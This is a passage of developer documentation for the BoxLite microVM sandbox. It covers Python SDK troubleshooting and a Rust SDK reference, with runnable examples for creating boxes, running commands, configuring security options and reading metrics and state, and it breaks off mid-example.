a volume causes a TypeError Wrong: writing the third volume element as the string `"ro"` / `"rw"`. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Wrong BoxOptions(volumes=[("/host", "/mnt", "ro")]) # -> TypeError: 'str' object cannot be cast as 'bool' ``` Fix: use the bool `read_only` for the third element (`True` = read-only / `False` = read-write), or use a 2-tuple (defaults to read-write). ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} BoxOptions(volumes=[("/host", "/mnt", True)]) # read-only ``` ### `AttributeError: module 'boxlite' has no attribute 'AdvancedBoxOptions'` `AdvancedBoxOptions` lives in the `boxlite.boxlite` submodule, not the top level — see [Inject secrets and harden a box](/manage-sandbox/secrets-and-security#troubleshooting). ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Wrong import boxlite boxlite.AdvancedBoxOptions(...) # AttributeError # Correct from boxlite import AdvancedBoxOptions ``` ### `AttributeError: ... 'security'` (passing security= at the top level) `BoxOptions` has no top-level `security=` keyword. Security options must go through `advanced`: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} from boxlite import BoxOptions, SecurityOptions from boxlite import AdvancedBoxOptions BoxOptions(image="alpine:latest", advanced=AdvancedBoxOptions(security=SecurityOptions.maximum())) ``` ### `AttributeError: ... 'minimum'` `SecurityOptions.minimum()` does not exist. The available presets are `development()` / `standard()` / `maximum()`. ### `exec` reports a failed command but does not raise A non-zero exit from `exec` returns `ExecResult(exit_code != 0)` and does not raise. Always check it yourself: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} result = await box.exec("false") if result.exit_code != 0: print(result.stderr) # handle the failure yourself ``` ### A metric field does not exist (AttributeError on memory\_usage\_bytes / cpu\_time\_ms / active\_boxes) The old field names are deprecated. Use `BoxMetrics.memory_bytes`, `BoxMetrics.cpu_percent`, and `RuntimeMetrics.num_running_boxes` instead. ### `box.info()` raises a coroutine error / `await` fails `info()` is **async**; `await` it. Access state via `box.info().state.status` (not `.status`, not `.state.state`). ### `RuntimeError` on box start (environment constraint) The sandbox requires hardware virtualization: | Platform | Requirement | | - | - | | Linux x86\_64 / ARM64 | KVM (`/dev/kvm` accessible) | | macOS Apple Silicon | Built-in Hypervisor.framework, no `/dev/kvm` needed | | Windows | WSL2 + KVM, user in the `kvm` group | | macOS Intel | Not supported | Without virtualization, startup fails and raises `RuntimeError` (the process stays alive; handle it with try/except). A flaky network during image pull also raises `RuntimeError` and can be retried. ### `ImportError` / `AttributeError` on sync classes Sync/orchestration classes are exported on demand; when the extras are missing (with no friendly message): * `from boxlite import SyncSimpleBox` → **`ImportError`** (`cannot import name 'SyncSimpleBox' from 'boxlite'`) * `boxlite.SyncSimpleBox` (attribute access) → **`AttributeError`** (`module 'boxlite' has no attribute 'SyncSimpleBox'`) Install the matching extras: `pip install "boxlite[sync]"` or `pip install "boxlite[orchestration]"`. # Rust SDK reference Source: https://docs.boxlite.ai/reference/rust the boxlite crate is the core implementation of BoxLite — a Tokio-based, async-first library for creating, running, and destroying hardware-isolated microVM sandboxes directly from a Rust process. Every other language SDK (Python / Node / Go / C) is a binding over this layer. Use it when you need to run untrusted code, agent-generated commands, or third-party binaries inside a real virtual machine without pulling in an external process or daemon. Every code block below is copy-runnable: `use` statements, `#[tokio::main]`, and error handling are already filled in. The crate itself is the source of truth (`src/boxlite/src/`); check the version you have with `boxlite::VERSION`, which equals `CARGO_PKG_VERSION`. *** ## Prerequisites * The `boxlite` crate and a machine with hardware virtualization — see [Installation](/getting-started/installation#platform-and-virtualization-requirements-common-to-all-sdks). | Item | Requirement | | - | - | | Rust | 2021 edition, stable toolchain | | Async runtime | **Tokio** (the library API is entirely `async` and must be called from within a Tokio runtime) | | Dependencies | crate `boxlite`; streaming reads of stdout/stderr require `futures` (`StreamExt`) | `Cargo.toml` (the crate name is `boxlite`): ```toml theme={"theme":{"light":"github-light","dark":"github-dark"}} [dependencies] boxlite = "0.10" # the crate name is boxlite tokio = { version = "1", features = ["full"] } futures = "0.3" # required for streaming reads of stdout/stderr ``` > Note: BoxLite is currently distributed primarily alongside the per-language SDKs and the CLI. If your environment has no publish source configured yet, depend on this repository's `src/boxlite/` by path (`boxlite = { path = "..." }`). The crate version is managed centrally by the workspace and corresponds to the latest published release (`boxlite::VERSION` reads `CARGO_PKG_VERSION` at compile time). *** ## Quick Example (minimal happy path) The shortest "create a box -> run a command -> read the exit code -> clean up" loop. The execution method is **`exec`** (not `run`); once it completes you obtain an `ExecResult` via `Execution::wait()`: ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} use boxlite::{BoxliteRuntime, BoxOptions, BoxCommand}; #[tokio::main] async fn main() -> Result<(), Box> { // 1) Get the runtime (synchronous construction, not async). with_defaults uses ~/.boxlite as home. let runtime = BoxliteRuntime::with_defaults()?; // 2) Create a box (default rootfs = alpine:latest). create is async. // Note: the default deletes the box on stop; auto_delete: Some(0) keeps it for an explicit remove later. let options = BoxOptions { auto_delete: Some(0), ..Default::default() }; let litebox = runtime .create(options, Some("hello-box".to_string())) .await?; println!("created box id = {}", litebox.id()); // 3) Run a command: exec returns an Execution handle; wait() blocks until the process exits. let execution = litebox.exec(BoxCommand::new("echo").arg("hello from boxlite")).await?; let result = execution.wait().await?; println!("exit code = {}", result.exit_code); // 0 = success // 4) Cleanup: stop terminates the VM; remove is called on the [runtime], not the box. // (Under the default policy stop() has already deleted it, so remove is unnecessary and should not be called.) litebox.stop().await?; runtime.remove("hello-box", false).await?; Ok(()) } ``` > **Key points** > > * The runtime constructors (`with_defaults` / `new` / `rest`) are **synchronous `fn`**; only the operations (`create` / `exec` / `start` / `stop`, etc.) are `async`. > * The execution method is **`exec`** and returns an `Execution`. **There is no `litebox.run(...)`.** > * `ExecResult` has only `exit_code` and `error_message`, **not stdout/stderr** — output is read as a stream (see [Execution](#execution-handle-to-a-running-command)). > * To delete a box use **`runtime.remove(id_or_name, force)`**, not `box.remove()`. *** ## Core types and methods ### `BoxliteRuntime` (runtime entry point) The main entry point for creating and managing boxes. Source: `src/boxlite/src/runtime/core.rs`. **Constructors (all synchronous `fn`)** | Method | Signature | Description | | - | - | - | | `new` | `fn new(options: BoxliteOptions) -> BoxliteResult` | Create with custom options | | `with_defaults` | `fn with_defaults() -> BoxliteResult` | Default options (home defaults to `~/.boxlite`) | | `rest` | `fn rest(options: BoxliteRestOptions) -> BoxliteResult` | Connect to a remote BoxLite REST service (requires the `rest` feature) | | `default_runtime` | `fn default_runtime() -> &'static Self` | Global singleton (initialized on demand) | | `try_default_runtime` | `fn try_default_runtime() -> Option<&'static Self>` | Returns only if already initialized | | `init_default_runtime` | `fn init_default_runtime(options: BoxliteOptions) -> BoxliteResult<()>` | Initialize the global singleton with options | **Operations (all `async`, `&self`)** | Method | Signature | Description | | - | - | - | | `create` | `async fn create(&self, options: BoxOptions, name: Option) -> BoxliteResult` | Create and persist a box (VM not yet started) | | `get_or_create` | `async fn get_or_create(&self, options: BoxOptions, name: Option) -> BoxliteResult<(LiteBox, bool)>` | Get by name or create; returns `(box, created)`, where `created=true` means newly created | | `get` | `async fn get(&self, id_or_name: &str) -> BoxliteResult>` | Get a handle by ID or name | | `get_info` | `async fn get_info(&self, id_or_name: &str) -> BoxliteResult>` | Get info (without building a handle) | | `list_info` | `async fn list_info(&self) -> BoxliteResult>` | List all boxes (most recent first) | | `exists` | `async fn exists(&self, id_or_name: &str) -> BoxliteResult` | Whether a box exists | | `metrics` | `async fn metrics(&self) -> BoxliteResult` | Runtime-wide aggregate metrics | | `remove` | `async fn remove(&self, id_or_name: &str, force: bool) -> BoxliteResult<()>` | Delete permanently (`force=true` force-removes a running box) | | `import_box` | `async fn import_box(&self, archive: BoxArchive, name: Option) -> BoxliteResult` | Import a `.boxlite` archive (construct it first with `BoxArchive::new(path)`, not a bare `&Path`) | | `shutdown` | `async fn shutdown(&self, timeout: Option) -> BoxliteResult<()>` | Graceful shutdown (`None` = 10s default, `Some(-1)` = wait indefinitely) | Non-async handles: `images() -> BoxliteResult`, `auth() -> BoxliteResult`. > **Note**: `metrics()` returns **`BoxliteResult`** (needs `?`). To enumerate boxes use `list_info()` (not `list()`). ### `LiteBox` (box handle) A handle to a box instance. All methods take `&self`, so it can be shared across threads via `Arc`. Source: `src/boxlite/src/litebox/mod.rs`. | Method | Signature | Description | | - | - | - | | `id` | `fn id(&self) -> &BoxID` | Box ID (synchronous) | | `name` | `fn name(&self) -> Option<&str>` | Optional name (synchronous) | | `info` | `fn info(&self) -> BoxInfo` | Get info **without triggering VM initialization** (synchronous) | | `start` | `async fn start(&self) -> BoxliteResult<()>` | Start the VM; idempotent (a no-op when already Running) | | `exec` | `async fn exec(&self, command: BoxCommand) -> BoxliteResult` | Run a command; implicitly calls `start()` if not started | | `attach` | `async fn attach(&self, execution_id: &str) -> BoxliteResult` | Reattach to an execution that is still running | | `metrics` | `async fn metrics(&self) -> BoxliteResult` | Per-box metrics | | `stop` | `async fn stop(&self) -> BoxliteResult<()>` | Terminate the VM; can be restarted | | `copy_into` | `async fn copy_into(&self, host_src, container_dst, opts: CopyOptions) -> BoxliteResult<()>` | Host -> container | | `copy_out` | `async fn copy_out(&self, container_src, host_dst, opts: CopyOptions) -> BoxliteResult<()>` | Container -> host | | `snapshots` | `fn snapshots(&self) -> SnapshotHandle` | Get the snapshot handle (synchronous) | | `clone_box` | `async fn clone_box(&self, options: CloneOptions, name: Option) -> BoxliteResult` | Clone into a new box | | `clone_boxes` | `async fn clone_boxes(&self, options: CloneOptions, count: usize, names: Vec) -> BoxliteResult>` | Clone in bulk (shares the base disk, more space-efficient) | | `export` | `async fn export(&self, options: ExportOptions, dest: &Path) -> BoxliteResult` | Export to a portable archive | **Lifecycle**: `create()` -> `Configured` (persisted, no VM); `start()` (or the first `exec()`) -> `Running`; `stop()` -> `Stopped` (can be restarted). ### `BoxCommand` (command builder) Builder style, chained methods that consume `self`. Source: `src/boxlite/src/litebox/exec.rs`. ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} use boxlite::BoxCommand; use std::time::Duration; let cmd = BoxCommand::new("python3") .args(["-c", "print('hello')"]) .env("PYTHONPATH", "/app") .timeout(Duration::from_secs(30)) // Note: the argument is a Duration .working_dir("/workspace") .user("nobody") // Same format as docker --user: [:] .tty(true); ``` | Method | Signature | Description | | - | - | - | | `new` | `fn new(command: impl Into) -> Self` | Create a command | | `arg` | `fn arg(self, arg: impl Into) -> Self` | Add a single argument | | `args` | `fn args(self, args: I) -> Self` | Add multiple arguments | | `env` | `fn env(self, key, val) -> Self` | Set an environment variable (callable multiple times) | | `timeout` | `fn timeout(self, timeout: Duration) -> Self` | Timeout (note: a `Duration`, not a bare number) | | `working_dir` | `fn working_dir(self, dir) -> Self` | Working directory | | `user` | `fn user(self, spec) -> Self` | Execution user | | `tty` | `fn tty(self, enable: bool) -> Self` | Enable a pseudo-terminal (terminal size is auto-detected) | ### `Execution` (handle to a running command) Returned by `exec()`. Source: `src/boxlite/src/litebox/exec.rs`. stdout/stderr implement `futures::Stream` and **can each be taken only once**. | Method | Signature | Description | | - | - | - | | `id` | `fn id(&self) -> &ExecutionId` | Execution ID | | `stdin` | `fn stdin(&mut self) -> Option` | Take the stdin handle (one-shot) | | `stdout` | `fn stdout(&mut self) -> Option` | Take the stdout stream (one-shot) | | `stderr` | `fn stderr(&mut self) -> Option` | Take the stderr stream (one-shot) | | `wait` | `async fn wait(&self) -> BoxliteResult` | Wait for completion (the result is cached, so it can be awaited repeatedly) | | `kill` | `async fn kill(&self) -> BoxliteResult<()>` | Terminate (SIGKILL) | | `signal` | `async fn signal(&self, signal: i32) -> BoxliteResult<()>` | Send a Unix signal | | `resize_tty` | `async fn resize_tty(&self, rows: u32, cols: u32) -> BoxliteResult<()>` | Resize the PTY window (effective only in TTY mode) | > **Note**: `wait`/`kill`/`signal`/`resize_tty` all take **`&self`** (only `stdin`/`stdout`/`stderr`, which take a stream, take `&mut self`). This means you can share an `Arc` and call `kill()` concurrently. Streaming read of stdout (complete, runnable): ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} use boxlite::{BoxliteRuntime, BoxOptions, BoxCommand}; use futures::StreamExt; // provides .next() #[tokio::main] async fn main() -> Result<(), Box> { let runtime = BoxliteRuntime::with_defaults()?; let litebox = runtime.create(BoxOptions::default(), None).await?; let mut execution = litebox .exec(BoxCommand::new("sh").args(["-c", "echo line1; echo line2"])) .await?; // stdout is a Stream; take it and read line by line. if let Some(mut stdout) = execution.stdout() { while let Some(line) = stdout.next().await { println!("stdout: {line}"); } } let result = execution.wait().await?; if !result.success() { eprintln!("command failed, exit code = {}", result.exit_code); if let Some(msg) = &result.error_message { eprintln!("diagnostic: {msg}"); } } litebox.stop().await?; Ok(()) } ``` Writing to stdin (`ExecStdin` provides `write` / `write_all` / `close`): ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} use boxlite::{BoxliteRuntime, BoxOptions, BoxCommand}; #[tokio::main] async fn main() -> Result<(), Box> { let runtime = BoxliteRuntime::with_defaults()?; let litebox = runtime.create(BoxOptions::default(), None).await?; let mut execution = litebox.exec(BoxCommand::new("cat")).await?; if let Some(mut stdin) = execution.stdin() { stdin.write(b"hello stdin\n").await?; stdin.write_all(b"more data\n").await?; stdin.close(); // Explicit close = send EOF to the process (dropping also closes it) } let result = execution.wait().await?; println!("exit code = {}", result.exit_code); litebox.stop().await?; Ok(()) } ``` ### `ExecResult` ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} pub struct ExecResult { pub exit_code: i32, // 0=success; negative signal number when terminated by a signal pub error_message: Option, // Diagnostic when the process dies abnormally (None on normal exit) } // Methods: success() -> bool (exit_code==0), code() -> i32 ``` > **No stdout/stderr fields** (this differs from the C / Go / Python wrapper layers, which add output fields). At the Rust core layer, output comes from the streams in [Execution](#execution-handle-to-a-running-command). *** ## Box configuration (`BoxOptions` and related types) Source: `src/boxlite/src/runtime/options.rs`. `BoxOptions` implements `Default`; fill the remaining fields with `..Default::default()`. ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} use boxlite::runtime::options::{PortSpec, VolumeSpec}; // not re-exported at the crate root use boxlite::{AdvancedBoxOptions, BoxOptions, NetworkSpec, RootfsSpec, SecurityOptions}; let options = BoxOptions { cpus: Some(2), // None = the runtime default of 1 vCPU (see note in 4.1) memory_mib: Some(1024), // None = the runtime default of 1024 MiB (see note in 4.1) rootfs: RootfsSpec::Image("python:3.11-slim".into()), env: vec![("PYTHONPATH".to_string(), "/app".to_string())], volumes: vec![VolumeSpec { host_path: "".to_string(), // <-- replace with an absolute host path guest_path: "/app".to_string(), read_only: false, // bool, not a "ro"/"rw" string }], network: NetworkSpec::Enabled { allow_net: vec!["api.github.com".into()] }, ports: vec![PortSpec { host_port: Some(8080), guest_port: 80, ..Default::default() }], auto_delete: Some(0), // keep the box after stopping advanced: AdvancedBoxOptions { security: SecurityOptions::enabled(), // enabled by default ..Default::default() }, ..Default::default() }; ``` ### `BoxOptions` fields | Field | Type | Required | Default | Description | | - | - | - | - | - | | `cpus` | `Option` | Optional | `None` | Number of vCPUs. When `None`, the runtime allocates 1 vCPU (`vm_defaults::DEFAULT_CPUS`). | | `memory_mib` | `Option` | Optional | `None` | Memory in MiB. When `None`, the runtime allocates 1024 MiB (`vm_defaults::DEFAULT_MEMORY_MIB`). | | `disk_size_gb` | `Option` | Optional | `None` | rootfs disk cap (sparse, grows on demand) | | `working_dir` | `Option` | Optional | `None` | Default working directory inside the box | | `env` | `Vec<(String, String)>` | Optional | `[]` | Environment variables | | `rootfs` | `RootfsSpec` | Optional | `Image("alpine:latest")` | Root filesystem source | | `volumes` | `Vec` | Optional | `[]` | Volume mounts | | `network` | `NetworkSpec` | Optional | `Enabled { allow_net: [] }` | Network isolation | | `ports` | `Vec` | Optional | `[]` | Port mappings | | `secrets` | `Vec` | Optional | `[]` | Outbound HTTP(S) secret substitution rules | | `auto_delete` | `Option` | Optional | `None` | Seconds after a successful stop before deletion. `Some(0)` keeps the box; `Some(n>0)` deletes it — local runtimes delete immediately on stop, REST runtimes wait `n` seconds. `None` falls back to the deprecated `auto_remove`, whose default is `true`, so the box is deleted on stop | | `auto_remove` | `bool` | **Deprecated** | `true` | Superseded by `auto_delete`, which takes precedence when set. REST runtimes do not transmit this field | | `detach` | `bool` | Optional | `false` | Run detached from the parent process | | `advanced` | `AdvancedBoxOptions` | Optional | secure defaults | Security / mount isolation / health checks | | `entrypoint` | `Option>` | Optional | `None` | Override the image entrypoint | | `cmd` | `Option>` | Optional | `None` | Override the image cmd | | `user` | `Option` | Optional | `None` | Default execution user | > **About the `cpus` / `memory_mib` defaults**: the field default is `None`. When `None`, the runtime allocates **1 vCPU / 1024 MiB** from `vm_defaults` in `src/boxlite/src/runtime/constants.rs`. Pass explicit values in production. See [Compute resources](/manage-sandbox/compute-resources). ### `RootfsSpec` ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} pub enum RootfsSpec { Image(String), // Pull/resolve an image reference, e.g. "python:3.11-slim" RootfsPath(String), // Use a prepared host rootfs path } // Default = Image("alpine:latest") ``` ### `VolumeSpec` (**third field is a bool**) ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} pub struct VolumeSpec { pub host_path: String, pub guest_path: String, pub read_only: bool, // true=read-only, false=read-write. Not a "ro"/"rw" string. } ``` > Note: the `ro`/`rw` strings are only used by the CLI form `-v host:guest:ro`, which lives in the CLI parsing layer; the SDK API uses a **bool**. ### `NetworkSpec` ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} pub enum NetworkSpec { Enabled { allow_net: Vec }, // empty = all outbound; non-empty = allowlist only (supports exact host/wildcard/IP/CIDR) Disabled, // fully removes the guest network interface } // Default = Enabled { allow_net: vec![] } ``` ### `PortSpec` ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} pub struct PortSpec { pub host_port: Option, // None = same as guest_port (source comment: None => same as guest_port) pub guest_port: u16, // required: the guest port to expose pub protocol: PortProtocol, // defaults to Tcp pub host_ip: Option, // None = 0.0.0.0 } pub enum PortProtocol { Tcp, Udp } // defaults to Tcp ``` ### `Secret` (secrets / vault entry point) Code inside the box sees the `placeholder`; when traffic goes out to one of the hosts listed in `hosts`, the proxy substitutes the real `value`, so the plaintext never lands in the guest: ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} pub struct Secret { pub name: String, // human-readable name (e.g. "openai_api_key") pub hosts: Vec, // injection hosts, supports wildcards (e.g. ["api.openai.com", "*.example.com"]) pub placeholder: String, // required, no default. Conventional form: pub value: String, // real value, never enters the guest; redacted in Debug/Display } // Note: Secret has no Default / new(); all four fields must be set explicitly. ``` *** ## Security, metrics, and runtime options ### `SecurityOptions` / `AdvancedBoxOptions` Security options are passed **through `advanced`**; the top-level `BoxOptions` has no `security` field. Source: `src/boxlite/src/runtime/advanced_options.rs`. The Rust core layer exposes a **two-state switch plus a builder** (unlike the Python binding's `development()/standard()/maximum()` preset static methods, which do not exist here): | Entry point | Signature | Description | | - | - | - | | `SecurityOptions::enabled()` | `fn enabled() -> Self` | Default: full host isolation (`== default()`) | | `SecurityOptions::disabled()` | `fn disabled() -> Self` | Master switch off, all sub-protections off (debugging / environments that cannot be sandboxed) | | `SecurityOptions::from_preset(name)` | `fn from_preset(name: &str) -> BoxliteResult` | Resolve by name; accepts `enable`/`enabled`/`on` and `disable`/`disabled`/`off` (case-insensitive); anything else is `InvalidArgument` | | `SecurityOptions::is_full_isolation_available()` | `fn is_full_isolation_available() -> bool` | Whether the current platform supports full isolation | | `SecurityOptions::builder()` | `fn builder() -> SecurityOptionsBuilder` | Fine-grained construction | #### `SecurityOptions` fields The struct fields and their meanings (source: `SecurityOptions` in `src/boxlite/src/runtime/advanced_options.rs`). Several fields are Linux-only or macOS-only; on a platform that does not support a feature the field is inert. ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} pub struct SecurityOptions { pub jailer_enabled: bool, // Master switch: jailer isolation (Linux: seccomp/namespaces; macOS: sandbox-exec) pub seccomp_enabled: bool, // Linux only: seccomp syscall filtering pub uid: Option, // Linux only: UID to drop to. None = auto-allocate pub gid: Option, // Linux only: GID to drop to. None = auto-allocate pub new_pid_ns: bool, // Linux only: create a new PID namespace pub new_net_ns: bool, // Linux only: create a new network namespace pub chroot_base: PathBuf, // Linux: base directory for chroot jails pub chroot_enabled: bool, // Linux only: enable chroot isolation pub close_fds: bool, // Close inherited file descriptors pub sanitize_env: bool, // Sanitize environment variables pub env_allowlist: Vec, // Environment variables preserved through sanitization pub resource_limits: ResourceLimits, // RLIMIT_* caps for the jailed process (see 5.1.2) pub sandbox_profile: Option, // macOS only: custom sandbox profile pub network_enabled: bool, // macOS only: allow network inside the sandbox } ``` Field defaults under `enabled()` (`== default()`, source: `SecurityOptions::enabled` in `advanced_options.rs`): | Field | Default (enabled) | Notes | | - | - | - | | `jailer_enabled` | `true` | Master switch on | | `seccomp_enabled` | `true` on Linux, `false` elsewhere | `cfg!(target_os = "linux")` | | `uid` / `gid` | `Some(65534)` | `nobody` / `nogroup` | | `new_pid_ns` | `true` on Linux | | | `new_net_ns` | `false` | gvproxy provides networking | | `chroot_base` | `/srv/boxlite` | | | `chroot_enabled` | `true` on Linux | | | `close_fds` | `true` | | | `sanitize_env` | `true` | | | `env_allowlist` | `["RUST_LOG"]` | | | `network_enabled` | `true` | macOS sandbox network | `disabled()` sets `jailer_enabled = false` and turns off every sub-protection (`uid`/`gid` become `None`). #### `SecurityOptionsBuilder` methods Obtain a builder with `SecurityOptions::builder()` (or `SecurityOptionsBuilder::enabled()` / `::disabled()` / `::new()`). The setters take `&mut self` (non-consuming), and `build()` produces the final `SecurityOptions` (source `SecurityOptionsBuilder` in `advanced_options.rs`): | Method | Maps to | | - | - | | `new()` | Start from defaults | | `enabled()` | Start from the enabled profile | | `disabled()` | Start from the disabled profile | | `jailer_enabled(bool)` | `jailer_enabled` (master switch) | | `seccomp_enabled(bool)` | `seccomp_enabled` | | `uid(u32)` | Drop-to UID | | `gid(u32)` | Drop-to GID | | `new_pid_ns(bool)` | PID namespace | | `new_net_ns(bool)` | Network namespace | | `chroot_base(path)` | chroot base directory | | `chroot_enabled(bool)` | Enable chroot | | `close_fds(bool)` | Close inherited FDs | | `sanitize_env(bool)` | Sanitize environment | | `env_allowlist(vec)` | Replace the env allowlist | | `allow_env(var)` | Append one variable to the env allowlist | | `resource_limits(limits)` | Set all `ResourceLimits` at once | | `max_open_files(u64)` | `resource_limits.max_open_files` (RLIMIT\_NOFILE) | | `max_file_size_bytes(u64)` | `resource_limits.max_file_size` (RLIMIT\_FSIZE) | | `max_processes(u64)` | `resource_limits.max_processes` (RLIMIT\_NPROC) | | `max_memory_bytes(u64)` | `resource_limits.max_memory` (RLIMIT\_AS) | | `max_cpu_time_seconds(u64)` | `resource_limits.max_cpu_time` (RLIMIT\_CPU) | | `sandbox_profile(path)` | macOS sandbox profile | | `network_enabled(bool)` | macOS network access | | `build()` | Produce the `SecurityOptions` | > Note: the `development()` / `standard()` / `maximum()` presets available in the Python binding are **not** present on the Rust `SecurityOptionsBuilder`. Use `enabled()` / `disabled()` / `new()` as starting points and override individual fields. #### `ResourceLimits` RLIMIT\_\* caps applied to the jailed process (source: `ResourceLimits` in `advanced_options.rs`). Each field maps to a POSIX resource limit; `None` means "do not set this limit". ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} pub struct ResourceLimits { pub max_open_files: Option, // RLIMIT_NOFILE. Default (enabled): Some(1024) pub max_file_size: Option, // RLIMIT_FSIZE (bytes). Default (enabled): Some(1 GiB) pub max_processes: Option, // RLIMIT_NPROC. Default (enabled): Some(100) pub max_memory: Option, // RLIMIT_AS (bytes). Default: None (VM config handles this) pub max_cpu_time: Option, // RLIMIT_CPU (seconds). Default: None (VM config handles this) } ``` The builder takes `&mut self` (non-consuming) and ends with `build()`. The following is a complete, runnable example: build custom security options with the builder and attach them to `AdvancedBoxOptions.security`: ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} use boxlite::{BoxliteRuntime, BoxOptions, BoxCommand, RootfsSpec}; use boxlite::{AdvancedBoxOptions, SecurityOptions}; #[tokio::main] async fn main() -> Result<(), Box> { let runtime = BoxliteRuntime::with_defaults()?; // Start from enabled, adjust a few limits, then build (builder methods take &mut self, so declare mut first). let mut builder = SecurityOptions::builder(); builder .seccomp_enabled(false) .max_open_files(2048) .max_processes(100) .allow_env("MY_VAR"); let security = builder.build(); let options = BoxOptions { rootfs: RootfsSpec::Image("alpine:latest".into()), auto_delete: Some(0), // keep the box so the explicit remove below is the only deletion advanced: AdvancedBoxOptions { security, // custom security options ..Default::default() }, ..Default::default() }; let litebox = runtime.create(options, Some("secured".to_string())).await?; let result = litebox.exec(BoxCommand::new("id")).await?.wait().await?; println!("exit = {}", result.exit_code); litebox.stop().await?; runtime.remove("secured", false).await?; Ok(()) } ``` `AdvancedBoxOptions` fields: `security: SecurityOptions`, `isolate_mounts: bool` (default `false`, requires CAP\_SYS\_ADMIN on Linux), `health_check: Option`. ### Metrics fields (real field and method names) Accessor methods on `RuntimeMetrics` (`runtime.metrics().await?`): | Method | Returns | Description | | - | - | - | | `boxes_created_total()` | `u64` | Total boxes created | | `boxes_failed_total()` | `u64` | Total boxes that failed to start | | `boxes_stopped_total()` | `u64` | Total boxes stopped | | `num_running_boxes()` | `u64` | Currently running (not `active_boxes`) | | `total_commands_executed()` | `u64` | Total commands executed (not `total_commands_run`) | | `total_exec_errors()` | `u64` | Total execution errors (not `total_run_errors`) | Public fields on `BoxMetrics` (`litebox.metrics().await?`, selected): | Field | Type | Description | | - | - | - | | `cpu_percent` | `Option` | CPU usage 0-100 (not `cpu_time_ms`) | | `memory_bytes` | `Option` | Memory in bytes (not `memory_usage_bytes`) | | `commands_executed_total` | `u64` | Commands executed on this box | | `exec_errors_total` | `u64` | Execution errors on this box | | `bytes_sent_total` / `bytes_received_total` | `u64` | stdin / stdout+stderr bytes | | `guest_boot_duration_ms` | `Option` | Guest boot time | | `total_create_duration_ms` | `Option` | Total time from create to ready | | `network_bytes_sent` / `network_bytes_received` | `Option` | Network TX / RX | ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} use boxlite::{BoxliteRuntime, BoxOptions, BoxCommand}; #[tokio::main] async fn main() -> Result<(), Box> { let runtime = BoxliteRuntime::with_defaults()?; let litebox = runtime.create(BoxOptions::default(), None).await?; litebox.exec(BoxCommand::new("true")).await?.wait().await?; let box_metrics = litebox.metrics().await?; println!("cpu% = {:?}", box_metrics.cpu_percent); println!("mem B = {:?}", box_metrics.memory_bytes); println!("boot ms= {:?}", box_metrics.guest_boot_duration_ms); let rt_metrics = runtime.metrics().await?; // returns BoxliteResult, needs ? println!("running boxes = {}", rt_metrics.num_running_boxes()); litebox.stop().await?; Ok(()) } ``` ### `BoxliteOptions` / `ImageRegistry` (runtime options) Customize the home directory and image registries (including resolution order, authentication, plain HTTP, and skipping TLS verification): ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} use boxlite::{BoxliteRuntime, BoxliteOptions, ImageRegistry}; use std::path::PathBuf; #[tokio::main] async fn main() -> Result<(), Box> { let options = BoxliteOptions { home_dir: PathBuf::from("/boxlite-home"), // replace with a real path image_registries: vec![ ImageRegistry::https("ghcr.io/myorg").with_search(true), ImageRegistry::https("docker.io").with_search(true), ImageRegistry::http("registry.local:5000").with_search(true), ImageRegistry::https("registry.example.com") .with_skip_verify(true) .with_basic_auth("user", ""), // replace ], }; let runtime = BoxliteRuntime::new(options)?; println!("runtime ready, version = {}", boxlite::VERSION); let _ = runtime; Ok(()) } ``` `ImageRegistry` constructors: `https(host)` / `http(host)`, chained with `.with_search(bool)` / `.with_skip_verify(bool)` / `.with_basic_auth(user, pass)` / `.with_bearer_auth(token)`. *** ## State queries (`BoxInfo` / `BoxStatus` / `BoxState`) `litebox.info().await?` returns a `BoxInfo`. **At the Rust core layer, `BoxInfo` has a `status: BoxStatus` field directly** (this differs from the Python/Node binding layer, where it is the two-level `info.state.status`). `BoxInfo` fields: `id: BoxID`, `name: Option`, `status: BoxStatus`, `created_at`, `last_updated`, `pid: Option`, `image: String`, `cpus: u8`, `memory_mib: u32`, `labels`, `health_status: HealthStatus`. ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} pub enum BoxStatus { Unknown, // Cannot be determined (error recovery) Configured, // Created and persisted, VM not started Running, // Running, accepting commands Stopping, // Gracefully shutting down (transient) Stopped, // Stopped, VM terminated, rootfs preserved — can be restarted Paused, // VM frozen via SIGSTOP; used during export/snapshot for a consistent point in time Failed, // Init pipeline failed; record and rootfs are preserved so you can retry or destroy. // BoxState::error_reason carries the cause } ``` Predicate methods: `is_running()` / `is_configured()` / `is_stopped()` / `is_active()` / `is_transient()` / `can_start()` / `can_stop()` / `can_remove()` / `can_exec()`. ### `BoxState` The dynamic state of a box (changes over the lifecycle), as opposed to the static configuration. Source `src/boxlite/src/litebox/state.rs` (struct `BoxState`): ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} pub struct BoxState { pub status: BoxStatus, // Current lifecycle status pub pid: Option, // Process ID (None if not running) pub container_id: Option, // Container ID (64-char hex; see 9.2) pub last_updated: DateTime, // Last state-change timestamp (UTC) pub lock_id: Option, // Allocated on first initialization, not at creation pub health_status: HealthStatus, // Current health state + consecutive failure count pub error_reason: Option, // Why the box entered Failed; cleared on a successful transition pub exit_code: Option, // Init process exit code, set when the box stopped } // because its main command exited (Docker semantics) ``` > When a box reports `Failed`, `error_reason` and `exit_code` are where the cause is. Both are > `None` while the box is healthy. ```rust theme={"theme":{"light":"github-light","dark":"github-dark"}} use boxlite::{BoxliteRuntime, BoxOptions, BoxStatus}; #[tokio::main] async fn main() -> Result<(), Box> { let runtime = 